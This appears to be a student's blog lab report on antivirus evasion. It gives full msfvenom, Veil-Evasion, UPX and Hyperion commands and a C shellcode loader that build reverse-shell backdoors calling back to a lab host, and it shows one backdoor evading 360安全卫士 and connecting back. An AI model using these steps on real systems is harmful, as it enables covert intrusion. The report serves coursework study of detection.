代码改变世界

Exp3-免杀原理

2022-04-08 22:01  陈冠昊  阅读(97)  评论(0编辑  收藏  举报

一、实验内容

  1. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  2. veil,加壳工具
  3. 使用C + shellcode编程
  4. 通过组合应用各种技术实现恶意代码免杀
  5. 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验过程记录

1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.141 LPORT=11319 -f exe > 20191319_backdoor.exe直接生成后门exe文件,然后进行检测(测试平台链接):
image
image
发现检出率为53/69,还挺高的。

使用Unicode编码一次,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.30.141 LPORT=11319 -f exe > 20191319_backdoor1.exe,然后进行检测:
image
image
发现检出率没有变化。

使用Unicode编码多次(下面的命令是编码了19次的,-i设置迭代次数),输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -19 -b ‘\x00’ LHOST=192.168.30.141 LPORT=11319 -f exe > 20191319_backdoor2.exe,然后进行检测:
image
image
发现检出率为54/69,这里居然还上升了?

利用php格式文件,输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.30.141 LPORT=11319 x> 20191319_backdoor_php.php,然后进行检测:
image
image
发现检出率为21/57,检出率下降了很多。

利用jar文件,输入命令msfvenom -p java/shell_reverse_tcp LHOST=192.168.30.141 LPORT=11319 -f jar > 20191319_backdoor_jar.jar,然后进行检测:
image
image
发现检出率为32/59。

2.veil,加壳工具

先输入下面的命令

sudo apt-get install veil-evasion
su                                 //进入root用户
cd /usr/share/veil/config
vim setup.sh                       //修改这个文件里面的260行(如下图所示)。

image
修改为https://gitee.com/spears/VeilDependencies.git 的原因是从国内的 gitee 上下载文件速度快点。
修改成功后,输入veil等待安装
image
正常安装相关模块(一路next下去就行)
image
image
image
安装完成,但是启动报错。根据错误提示,执行如下命令:/usr/share/veil/config/setup.sh --force --silent
image
然后输入veil发现能够正常启动了,接着输入如下命令:

use evasion                  //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.30.141     //设置反弹链接ip,此处为Kali的ip
set LPORT 11319              //设置端口
generate
20191319veil                //文件名称

image
找到生成的文件:
image
进行检测:
image
发现检出率为38/68,检出率还是很高。

免杀加壳尝试

压缩壳UPX:给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,命令为upx 20191319veil.exe -o 20191319_veil_upx.exe
image
image
检出率和没有加壳时一样,看来目前杀软对于加壳的检测能力很强。

3. 使用C + shellcode编程

使用msfvenom得到shellcode,命令为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.141 LPORT=11319 -f c
image
输入命令vim 20191319_shellcode_c.c来编辑c文件。将生成的shellcode和代码int main() { int (*func)() = (int(*)())buf; func(); }放到这个c文件里面来。
image
输入命令i686-w64-mingw32-g++ 20191319_shellcode_c.c -o 20191319_shellcode_c.exe 将文件20191319_shellcode_c.c编译成可执行文件
image
然后进行检测
image
可以看到检出率比上面直接生成后门exe文件的检出率(53/69)下降许多了。

4. 通过组合应用各种技术实现恶意代码免杀

采用C语言调用bloxor编码的shellcode+加密壳Hyperion的方式达成免杀目的
先输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.30.141 LPORT=11319 -f c生成shellcode,再放进20191319.c文件里面,再在电脑Dev——C++中编译
image
然后将编译好的文件放进虚拟机的/usr/share/windows-resources/hyperion路径下,然后输入命令wine hyperion.exe -v 20191319.exe 20191319_Hyperion.exe进行加壳
image
再将生成的20191319_Hyperion.exe移动到电脑,再使用360查杀,发现免杀了。
image

5. 附加题:用电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑的杀软名称与版本:360安全卫士,版本如下图:

image
原本想要用上面的20191319_Hyperion.exe来进行尝试,结果运行一会就被360杀掉了。于是换了另外的方法:
先输入su切换root用户,接着输入veil之后再输入use evasion进入免杀平台,输入list可以查看可用的payloads。我选择使用28:
image
输入use python/meterpreter/rev_tcp.py或者use 28进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
image
输入set LHOST 192.168.30.141set LPORT 11319来设置反弹连接的IP地址和端口号。
输入generate生成文件,根据提示输入文件名:20191319_veil_backdoor
image
生成文件时,系统会问如何创建负载可执行文件?我选择了1,然后根据下图找到生成的文件,再将生成的文件复制到Windows中
image
进行360查杀发现没有问题:
image
在kali上使用msfconsole指令进入msf控制台对msf控制台进行配置。
然后依次输入以下命令

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.30.141
set LPORT 11319
expliot

image
然后在Windows运行20191319_veil_backdoor.exe,发现成功回连
image

三、基础问题回答

  1. 杀软是如何检测出恶意代码的?
      杀软的库中储存了大量恶意代码的特征码,当本机检测样本文件特征码与病毒库中病毒特征码进行比对,如果比对成功,那么就说明这是恶意代码。还有就是杀软实时监测程序的行为,当程序做出越界操作时,可以认为它是恶意代码。
  2. 免杀是做什么?
    免杀一般是通过各种方法对恶意软件或恶意代码进行“包装”,从而躲避杀软的查杀。
  3. 免杀的基本方法有哪些?
  • 改变特征码:
    如果是类似exe的可执行文件可以加壳,例如压缩壳,
    如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件,
    如果是源代码可以用其他语言进行重写再编译。
  • 改变行为:尽量使用反弹式连接;减少对系统的修改。
  • 非常规方法:使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件。
  1. 开启杀软能绝对防止电脑中恶意代码吗?
      从这次的实验可以看出来,杀软是不能绝对防止电脑中的恶意代码的。杀软的病毒库是根据检测出来的病毒更新的,所谓道高一尺魔高一丈,恶意代码总有新的漏洞可以利用。

四、实验总结与体会

  本次实验是在上次后门实验的基础上的进阶,难度也比上次提升不少,使用的命令和工具也变多。通过这次实验我了解了免杀的概念、免杀的基本方法。在实验过程中,生成的一些后门程序有的并没有被本机的杀软检测出来,这使我认识到,杀软没有检测出来,并不代表完全安全,在以后上网的过程中还需谨慎小心,提高安全意识,要在官方正规网站下载程序,降低被植入后门的可能性。